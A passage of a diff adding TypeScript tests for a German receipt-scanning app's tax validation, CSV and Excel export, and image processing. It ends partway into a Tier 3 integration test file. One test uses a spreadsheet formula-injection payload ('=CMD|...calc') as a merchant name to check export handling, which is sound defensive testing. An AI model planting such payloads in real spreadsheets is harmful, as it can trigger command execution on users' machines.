|
||||
test("B4.3 should export negative line items into Excel Sheet 2 without syntax errors", async () => {
|
||||
const r = createBoundaryReceipt({
|
||||
lineItems: [
|
||||
{ description: "Item 1", quantity: 1, price: 20.0, taxRate: 19 },
|
||||
{ description: "Pfand", quantity: 1, price: -3.5, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s2 = wb.getWorksheet("Einzelpositionen Detail");
|
||||
expect(s2?.rowCount).toBeGreaterThanOrEqual(3);
|
||||
});
|
||||
|
||||
test("B4.4 should handle multiple Pfand return lines", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 15.0, confidence: 1.0 },
|
||||
netAmount: 12.61,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 2.39, netAmount: 12.61 }],
|
||||
lineItems: [
|
||||
{ description: "Mineralwasser 12x", quantity: 1, price: 21.6, taxRate: 19 },
|
||||
{ description: "Pfand Kiste", quantity: 1, price: -3.3, taxRate: 19 },
|
||||
{ description: "Pfand Flaschen", quantity: 1, price: -3.3, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.calculatedItemsSum).toBe(15.0);
|
||||
});
|
||||
|
||||
test("B4.5 should format negative values in the accounting CSV properly", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: -15.0, confidence: 1.0 },
|
||||
netAmount: -12.61,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: -2.39, netAmount: -12.61 }],
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('"-15,00"');
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 5 — Missing Net Amounts & Auto-Reconciliation", () => {
|
||||
test("B5.1 should handle null netAmount when single 19% tax breakdown exists", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 119.0, confidence: 1.0 },
|
||||
netAmount: null,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 19.0, netAmount: null }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
// When net is null, net check doesn't fail
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B5.2 Excel export should compute fallback net (gross - taxes) when netAmount is null", async () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 100.0, confidence: 1.0 },
|
||||
netAmount: null,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: null }],
|
||||
});
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
const netCell = s1?.getRow(2).getCell(7);
|
||||
expect(netCell?.value).toBeCloseTo(84.03, 2);
|
||||
});
|
||||
|
||||
test("B5.3 Accounting CSV should compute fallback net when netAmount is null", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 100.0, confidence: 1.0 },
|
||||
netAmount: null,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: null }],
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('"84,03"');
|
||||
});
|
||||
|
||||
test("B5.4 should handle missing net on multi-tax receipt", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 100.0, confidence: 1.0 },
|
||||
netAmount: null,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 7, taxAmount: 3.5, netAmount: null },
|
||||
{ ratePercent: 19, taxAmount: 9.5, netAmount: null },
|
||||
],
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('"87,00"'); // 100 - (3.5 + 9.5) = 87.00
|
||||
});
|
||||
|
||||
test("B5.5 should handle empty taxBreakdown with null netAmount", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 50.0, confidence: 1.0 },
|
||||
netAmount: null,
|
||||
taxBreakdown: [],
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('"50,00"');
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 6 — Foreign Currencies & Unicode Characters", () => {
|
||||
test("B6.1 should parse US Dollar (USD) currency code", () => {
|
||||
const r = createBoundaryReceipt({ currency: "USD", totalAmount: { value: 49.99, confidence: 1 } });
|
||||
expect(r.currency).toBe("USD");
|
||||
});
|
||||
|
||||
test("B6.2 should parse British Pound (GBP) currency code", () => {
|
||||
const r = createBoundaryReceipt({ currency: "GBP", totalAmount: { value: 25.5, confidence: 1 } });
|
||||
expect(r.currency).toBe("GBP");
|
||||
});
|
||||
|
||||
test("B6.3 should parse Swiss Franc (CHF) currency code", () => {
|
||||
const r = createBoundaryReceipt({ currency: "CHF", totalAmount: { value: 85.0, confidence: 1 } });
|
||||
expect(r.currency).toBe("CHF");
|
||||
});
|
||||
|
||||
test("B6.4 should preserve Japanese characters in merchant name", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: "ファミリーマート (FamilyMart Tokyo)", address: null, taxId: null, confidence: 1 },
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain("ファミリーマート");
|
||||
});
|
||||
|
||||
test("B6.5 should preserve Cyrillic and Eastern European diacritics", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: "Kraków Restauracja & Café Łódź", address: null, taxId: null, confidence: 1 },
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain("Kraków Restauracja & Café Łódź");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 7 — Extreme Transaction Amounts (0.01€ to 1,000,000.00€)", () => {
|
||||
test("B7.1 should handle minimal transaction: 0.01€ (1 Cent)", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 0.01, confidence: 1 },
|
||||
netAmount: 0.01,
|
||||
taxBreakdown: [{ ratePercent: 0, taxAmount: 0.0, netAmount: 0.01 }],
|
||||
lineItems: [{ description: "Plastic Bag", quantity: 1, price: 0.01, taxRate: 0 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
expect(val.calculatedGross).toBe(0.01);
|
||||
});
|
||||
|
||||
test("B7.2 should handle large enterprise purchase: 99,999.99€", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 99999.99, confidence: 1 },
|
||||
netAmount: 84033.61,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 15966.38, netAmount: 84033.61 }],
|
||||
lineItems: [{ description: "Enterprise Server Rack", quantity: 1, price: 99999.99, taxRate: 19 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B7.3 should handle 1,000,000.00€ transaction", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 1000000.0, confidence: 1 },
|
||||
netAmount: 840336.13,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 159663.87, netAmount: 840336.13 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B7.4 Accounting CSV should format 1234567.89 as '1234567,89'", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 1234567.89, confidence: 1 },
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('"1234567,89"');
|
||||
});
|
||||
|
||||
test("B7.5 Excel export should write large numbers as numeric values without NaN", async () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 500000.5, confidence: 1 },
|
||||
netAmount: 420168.49,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 79832.01, netAmount: 420168.49 }],
|
||||
});
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.getRow(2).getCell(10).value).toBe(500000.5);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 8 — Strict 0px Border & Zenith Silver Component Style Audits", () => {
|
||||
const componentPaths = [
|
||||
"src/components/landing/Header.tsx",
|
||||
"src/components/landing/HeroSection.tsx",
|
||||
"src/components/landing/SocialProofSection.tsx",
|
||||
"src/components/landing/FeaturesSection.tsx",
|
||||
"src/components/landing/ComparisonTable.tsx",
|
||||
"src/components/landing/FAQSection.tsx",
|
||||
"src/components/landing/Footer.tsx",
|
||||
"src/components/dashboard/Sidebar.tsx",
|
||||
"src/components/dashboard/TopNav.tsx",
|
||||
"src/components/dashboard/LiveTable.tsx",
|
||||
"src/components/dashboard/ExportBar.tsx",
|
||||
"src/app/(app)/dashboard/page.tsx",
|
||||
"src/app/(app)/dashboard/activity/page.tsx",
|
||||
"src/app/(app)/dashboard/export/page.tsx",
|
||||
"src/app/(app)/dashboard/settings/page.tsx",
|
||||
];
|
||||
|
||||
test("B8.1 verify existence of all 15 audited Zenith Silver components & routes", () => {
|
||||
componentPaths.forEach((relPath) => {
|
||||
const fullPath = path.resolve(process.cwd(), relPath);
|
||||
expect(fs.existsSync(fullPath)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
test("B8.2 audit components for absence of soft rounded cards (rounded-2xl, rounded-3xl)", () => {
|
||||
componentPaths.forEach((relPath) => {
|
||||
const fullPath = path.resolve(process.cwd(), relPath);
|
||||
const content = fs.readFileSync(fullPath, "utf-8");
|
||||
// Check for rounded-2xl or rounded-3xl which are banned under Zenith Silver 0px design system
|
||||
expect(content).not.toMatch(/rounded-2xl/);
|
||||
expect(content).not.toMatch(/rounded-3xl/);
|
||||
});
|
||||
});
|
||||
|
||||
test("B8.3 audit components for Zenith Silver border tokens (#E2E8F0)", () => {
|
||||
const sample = fs.readFileSync(path.resolve(process.cwd(), "src/components/dashboard/Sidebar.tsx"), "utf-8");
|
||||
expect(sample).toContain("#E2E8F0");
|
||||
});
|
||||
|
||||
test("B8.4 audit Landing Header for sticky 0px frame structure", () => {
|
||||
const header = fs.readFileSync(path.resolve(process.cwd(), "src/components/landing/Header.tsx"), "utf-8");
|
||||
expect(header).toContain("sticky");
|
||||
expect(header).toContain("border-b");
|
||||
});
|
||||
|
||||
test("B8.5 audit LiveTable for sharp 0px borders", () => {
|
||||
const liveTable = fs.readFileSync(path.resolve(process.cwd(), "src/components/dashboard/LiveTable.tsx"), "utf-8");
|
||||
expect(liveTable).toContain("border-collapse");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 9 — Line Item Extremes (Empty List, 100+ Items)", () => {
|
||||
test("B9.1 should handle receipt with 0 line items without crashing", () => {
|
||||
const r = createBoundaryReceipt({ lineItems: [] });
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.calculatedItemsSum).toBe(0);
|
||||
});
|
||||
|
||||
test("B9.2 should handle receipt with 100 line items", () => {
|
||||
const items = Array.from({ length: 100 }, (_, i) => ({
|
||||
description: `Wholesale Item #${i + 1}`,
|
||||
quantity: 1,
|
||||
price: 2.5,
|
||||
taxRate: 19,
|
||||
}));
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 250.0, confidence: 1 },
|
||||
netAmount: 210.08,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 39.92, netAmount: 210.08 }],
|
||||
lineItems: items,
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.calculatedItemsSum).toBe(250.0);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B9.3 should populate all 100 line items into Excel Sheet 2", async () => {
|
||||
const items = Array.from({ length: 100 }, (_, i) => ({
|
||||
description: `Wholesale Item #${i + 1}`,
|
||||
quantity: 1,
|
||||
price: 2.5,
|
||||
taxRate: 19,
|
||||
}));
|
||||
const r = createBoundaryReceipt({ lineItems: items });
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s2 = wb.getWorksheet("Einzelpositionen Detail");
|
||||
expect(s2?.rowCount).toBe(101); // 1 header + 100 items
|
||||
});
|
||||
|
||||
test("B9.4 should handle line items with large quantity (e.g. quantity 500)", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 1000.0, confidence: 1 },
|
||||
lineItems: [{ description: "Screws Bulk", quantity: 500, price: 1000.0, taxRate: 19 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.calculatedItemsSum).toBe(1000.0);
|
||||
});
|
||||
|
||||
test("B9.5 should handle line items with emoji and special punctuation in description", async () => {
|
||||
const r = createBoundaryReceipt({
|
||||
lineItems: [
|
||||
{ description: "☕ Bio Espresso & 🥐 Croissant (2x) [Special!]", quantity: 1, price: 8.5, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s2 = wb.getWorksheet("Einzelpositionen Detail");
|
||||
expect(s2?.getRow(2).getCell(4).value).toContain("Bio Espresso");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 10 — Date Format Variances & Leap Years", () => {
|
||||
test("B10.1 should format standard ISO date 2026-08-15 as 15.08.2026", () => {
|
||||
const r = createBoundaryReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 1 } });
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain("15.08.2026");
|
||||
});
|
||||
|
||||
test("B10.2 should handle leap year date 2028-02-29", () => {
|
||||
const r = createBoundaryReceipt({ date: { isoDate: "2028-02-29", time: null, confidence: 1 } });
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain("29.02.2028");
|
||||
});
|
||||
|
||||
test("B10.3 should handle year-end transition date 2026-12-31", () => {
|
||||
const r = createBoundaryReceipt({ date: { isoDate: "2026-12-31", time: "23:59", confidence: 1 } });
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain("31.12.2026");
|
||||
});
|
||||
|
||||
test("B10.4 should flag review when date confidence < 0.80", () => {
|
||||
const r = createBoundaryReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 0.75 } });
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.needsUserReview).toBe(true);
|
||||
expect(val.reviewField).toBe("date");
|
||||
});
|
||||
|
||||
test("B10.5 should not alter date format if already formatted non-ISO", () => {
|
||||
const r = createBoundaryReceipt({ date: { isoDate: "15.08.2026", time: null, confidence: 1 } });
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain("15.08.2026");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 11 — Confidence Score Boundary Limits", () => {
|
||||
test("B11.1 Total confidence exactly 0.85 should NOT trigger review", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 50.0, confidence: 0.85 },
|
||||
netAmount: 42.02,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 7.98, netAmount: 42.02 }],
|
||||
lineItems: [{ description: "Item", quantity: 1, price: 50.0, taxRate: 19 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.needsUserReview).toBe(false);
|
||||
});
|
||||
|
||||
test("B11.2 Total confidence 0.849 should trigger review on totalAmount", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 50.0, confidence: 0.849 },
|
||||
netAmount: 42.02,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 7.98, netAmount: 42.02 }],
|
||||
lineItems: [{ description: "Item", quantity: 1, price: 50.0, taxRate: 19 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.needsUserReview).toBe(true);
|
||||
expect(val.reviewField).toBe("totalAmount");
|
||||
});
|
||||
|
||||
test("B11.3 Date confidence exactly 0.80 should NOT trigger review", () => {
|
||||
const r = createBoundaryReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 0.8 } });
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.needsUserReview).toBe(false);
|
||||
});
|
||||
|
||||
test("B11.4 Date confidence 0.799 should trigger review on date", () => {
|
||||
const r = createBoundaryReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 0.799 } });
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.needsUserReview).toBe(true);
|
||||
expect(val.reviewField).toBe("date");
|
||||
});
|
||||
|
||||
test("B11.5 Merchant confidence 0.749 should trigger review on merchant", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: "Vendor", address: null, taxId: null, confidence: 0.749 },
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.needsUserReview).toBe(true);
|
||||
expect(val.reviewField).toBe("merchant");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 12 — Excel Formula Escaping & Malicious Payload Sanitization", () => {
|
||||
test("B12.1 should safely handle merchant names starting with formula injection characters (=, +, -, @)", async () => {
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: "=CMD|' /C calc'!A0", address: null, taxId: null, confidence: 1 },
|
||||
});
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.getRow(2).getCell(3).value).toBe("=CMD|' /C calc'!A0");
|
||||
});
|
||||
|
||||
test("B12.2 should handle long merchant names (300+ characters) without throwing", async () => {
|
||||
const longName = "A".repeat(300);
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: longName, address: null, taxId: null, confidence: 1 },
|
||||
});
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
expect(buf.length).toBeGreaterThan(1000);
|
||||
});
|
||||
|
||||
test("B12.3 should preserve sheet names within 31 chars Excel limit", async () => {
|
||||
const buf = await generateDualSheetExcel([createBoundaryReceipt()]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
wb.worksheets.forEach((ws) => {
|
||||
expect(ws.name.length).toBeLessThanOrEqual(31);
|
||||
});
|
||||
});
|
||||
|
||||
test("B12.4 should handle missing receiptNumber gracefully with '-' in Excel", async () => {
|
||||
const r = createBoundaryReceipt({ receiptNumber: null });
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.getRow(2).getCell(6).value).toBe("-");
|
||||
});
|
||||
|
||||
test("B12.5 should handle batch of 50 receipts in Excel generation", async () => {
|
||||
const batch = Array.from({ length: 50 }, (_, i) =>
|
||||
createBoundaryReceipt({ id: `b-50-${i}`, totalAmount: { value: i + 1, confidence: 1 } })
|
||||
);
|
||||
const buf = await generateDualSheetExcel(batch);
|
||||
const wb = new ExcelJS.Workbook();
|
||||
await wb.xlsx.load(buf as any);
|
||||
const s1 = wb.getWorksheet("Belegübersicht");
|
||||
expect(s1?.rowCount).toBe(52); // 1 header + 50 rows + 1 summary
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 13 — Accounting CSV Escaping & Complex Delimiters", () => {
|
||||
test("B13.1 should escape semicolons inside merchant name", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: "München Tankstelle; Filiale 42", address: null, taxId: null, confidence: 1 },
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('"München Tankstelle; Filiale 42"');
|
||||
});
|
||||
|
||||
test("B13.2 should escape nested double quotes in merchant name per RFC 4180", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: 'Restaurant "Zur goldenen Gans"', address: null, taxId: null, confidence: 1 },
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('""Zur goldenen Gans""');
|
||||
});
|
||||
|
||||
test("B13.3 should preserve German umlauts (Ä, Ö, Ü, ß) in CSV", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: "Bäckerei Schönbrunn & Süßwaren", address: null, taxId: null, confidence: 1 },
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain("Bäckerei Schönbrunn & Süßwaren");
|
||||
});
|
||||
|
||||
test("B13.4 should format empty receiptNumber as empty quoted string in CSV", () => {
|
||||
const r = createBoundaryReceipt({ receiptNumber: null });
|
||||
const csv = generateAccountingCsv([r]);
|
||||
const row = csv.split("\r\n")[1];
|
||||
expect(row).toContain('""');
|
||||
});
|
||||
|
||||
test("B13.5 should correctly populate booking text (Buchungstext) column", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
merchant: { name: "Aral", address: null, taxId: null, confidence: 1 },
|
||||
suggestedCategory: "Tanken & KFZ",
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('"Aral - Tanken & KFZ"');
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 14 — Image Preprocessing Boundaries (Tiny, Giant, Extreme Ratios)", () => {
|
||||
test("B14.1 should process minimal 1x1 image buffer cleanly", async () => {
|
||||
const png1x1 = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==",
|
||||
"base64"
|
||||
);
|
||||
const res = await processReceiptImage(png1x1, "image/png");
|
||||
expect(res.width).toBe(1);
|
||||
expect(res.height).toBe(1);
|
||||
expect(res.sha256Hash).toHaveLength(64);
|
||||
});
|
||||
|
||||
test("B14.2 should generate valid base64 data URL with JPEG prefix", async () => {
|
||||
const png1x1 = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==",
|
||||
"base64"
|
||||
);
|
||||
const res = await processReceiptImage(png1x1, "image/png");
|
||||
expect(res.base64DataUrl?.startsWith("data:image/jpeg;base64,")).toBe(true);
|
||||
});
|
||||
|
||||
test("B14.3 should reject uncompressed raw buffers instead of passing them through", async () => {
|
||||
// Raw-fallback removal: a buffer with no image signature must be refused.
|
||||
const raw = Buffer.alloc(500, 0xff);
|
||||
let rejected = false;
|
||||
try {
|
||||
await processReceiptImage(raw, "image/jpeg");
|
||||
} catch {
|
||||
rejected = true;
|
||||
}
|
||||
expect(rejected).toBe(true);
|
||||
});
|
||||
|
||||
test("B14.4 should track original vs processed byte sizes", async () => {
|
||||
const png1x1 = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==",
|
||||
"base64"
|
||||
);
|
||||
const res = await processReceiptImage(png1x1, "image/png");
|
||||
expect(res.originalSizeBytes).toBe(png1x1.length);
|
||||
expect(res.processedSizeBytes).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
test("B14.5 should compute SHA-256 hash on input before any transform", async () => {
|
||||
// Valid 1x1 PNG (real magic bytes) — the hash is taken over the raw input
|
||||
// before any sharp transform.
|
||||
const png1x1 = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==",
|
||||
"base64"
|
||||
);
|
||||
const res = await processReceiptImage(png1x1, "image/png");
|
||||
const crypto = await import("crypto");
|
||||
const expectedHash = crypto.createHash("sha256").update(png1x1).digest("hex");
|
||||
expect(res.sha256Hash).toBe(expectedHash);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 15 — Duplicate Detection & UUID Collision Resistance", () => {
|
||||
test("B15.1 should detect identical SHA-256 hashes for re-uploaded duplicate receipts", async () => {
|
||||
// Valid 1x1 PNG — identical bytes must produce identical hashes.
|
||||
const png1x1 = Buffer.from(
|
||||
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==",
|
||||
"base64"
|
||||
);
|
||||
const resA = await processReceiptImage(png1x1, "image/png");
|
||||
const resB = await processReceiptImage(png1x1, "image/png");
|
||||
expect(resA.sha256Hash).toBe(resB.sha256Hash);
|
||||
});
|
||||
|
||||
test("B15.2 should produce unique random receipt IDs across 1,000 rapid iterations", () => {
|
||||
const ids = new Set<string>();
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
const id = `rcpt_${Date.now()}_${Math.random().toString(36).substring(2, 9)}`;
|
||||
ids.add(id);
|
||||
}
|
||||
expect(ids.size).toBe(1000);
|
||||
});
|
||||
|
||||
test("B15.3 should set isDuplicateSuspected flag in schema", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: true,
|
||||
needsUserReview: true,
|
||||
reviewField: "none",
|
||||
reviewReason: "Mögliches Duplikat erkannt",
|
||||
},
|
||||
});
|
||||
expect(r.validation.isDuplicateSuspected).toBe(true);
|
||||
});
|
||||
|
||||
test("B15.4 should maintain ID and createdAt upon status update", () => {
|
||||
const original = createBoundaryReceipt({ id: "fix-id-1", createdAt: "2026-08-15T10:00:00.000Z" });
|
||||
const updated: ProcessedReceipt = {
|
||||
...original,
|
||||
status: "needs_review",
|
||||
updatedAt: "2026-08-15T11:00:00.000Z",
|
||||
};
|
||||
expect(updated.id).toBe(original.id);
|
||||
expect(updated.createdAt).toBe(original.createdAt);
|
||||
expect(updated.status).toBe("needs_review");
|
||||
});
|
||||
|
||||
test("B15.5 should preserve raw text field if provided by OCR model", () => {
|
||||
const r = createBoundaryReceipt({ rawText: "ARAL TANKSTELLE\nSUPER E10 50,00 EUR" });
|
||||
expect(r.rawText).toContain("ARAL TANKSTELLE");
|
||||
});
|
||||
});
|
||||
548
tests/e2e/tier3_interactions.test.ts
Normal file
548
tests/e2e/tier3_interactions.test.ts
Normal file
@@ -0,0 +1,548 @@
|
||||
/**
|
||||
* Tier 3: Combinatorial Cross-Feature Integration Tests
|
||||
* Minimum 15 end-to-end multi-module workflow integration test cases.
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect } from "./runner";
|
||||
import { ProcessedReceipt, ReceiptData } from "../../src/lib/schema/receipt";
|
||||
import { validateReceiptMath } from "../../src/lib/ai/mathValidator";
|
||||
import { generateDeterministicDemoExtraction } from "../../src/lib/ai/extractor";
|
||||
import { generateDualSheetExcel } from "../../src/lib/export/excelGenerator";
|
||||
import { generateAccountingCsv } from "../../src/lib/export/csvGenerator";
|
||||
import { processReceiptImage } from "../../src/lib/image/processor";
|
||||
import { FREE_SCAN_LIMIT } from "../../src/lib/limits";
|
||||
import ExcelJS from "exceljs";
|
||||
|
||||
describe("Tier 3: Combinatorial Workflows & Cross-Feature Interactions", () => {
|
||||
// Workflow 1: MicroPrompt TANKEN_KFZ -> Ingestion -> Math Check -> Excel Generator
|
||||
test("Workflow 1: MicroPrompt (TANKEN_KFZ) -> AI extraction -> Math validation -> Dual-Sheet Excel export", async () => {
|
||||
// 1. Ingest Aral Tankstelle demo fixture
|
||||
const rawExtraction = generateDeterministicDemoExtraction("01_aral_tankbeleg_muenchen.jpg");
|
||||
expect(rawExtraction.suggestedCategory).toBe("Tanken & KFZ");
|
||||
|
||||
// 2. Run deterministic math verification
|
||||
const mathResult = validateReceiptMath(rawExtraction);
|
||||
expect(mathResult.isMathValid).toBe(true);
|
||||
expect(mathResult.needsUserReview).toBe(false);
|
||||
|
||||
// 3. Construct processed receipt record
|
||||
const receipt: ProcessedReceipt = {
|
||||
...rawExtraction,
|
||||
id: "wf-1-aral",
|
||||
imageHash: "hash-aral-wf1",
|
||||
originalFileName: "01_aral_tankbeleg_muenchen.jpg",
|
||||
fileSizeBytes: 184000,
|
||||
createdAt: "2026-08-15T08:42:00.000Z",
|
||||
updatedAt: "2026-08-15T08:42:00.000Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
// 4. Generate Dual-Sheet Excel Workbook
|
||||
const excelBuffer = await generateDualSheetExcel([receipt]);
|
||||
const workbook = new ExcelJS.Workbook();
|
||||
await workbook.xlsx.load(excelBuffer as any);
|
||||
|
||||
// 5. Verify Sheet 1 and Sheet 2 structure
|
||||
const s1 = workbook.getWorksheet("Belegübersicht");
|
||||
const s2 = workbook.getWorksheet("Einzelpositionen Detail");
|
||||
|
||||
expect(s1).toBeDefined();
|
||||
expect(s2).toBeDefined();
|
||||
expect(s1!.getRow(2).getCell(3).value).toBe("Aral Tankstelle Station");
|
||||
expect(s1!.getRow(2).getCell(10).value).toBe(68.45);
|
||||
|
||||
// Verify SUM formula in summary row
|
||||
const sumGross = s1!.getRow(3).getCell(10);
|
||||
expect((sumGross.value as any)?.formula).toBe("SUM(J2:J2)");
|
||||
});
|
||||
|
||||
// Workflow 2: MicroPrompt BEWIRTUNG -> AI Tip Extraction -> Accounting CSV Generation
|
||||
test("Workflow 2: MicroPrompt (BEWIRTUNG) -> AI extract with Tip -> Math check -> accounting CSV export", () => {
|
||||
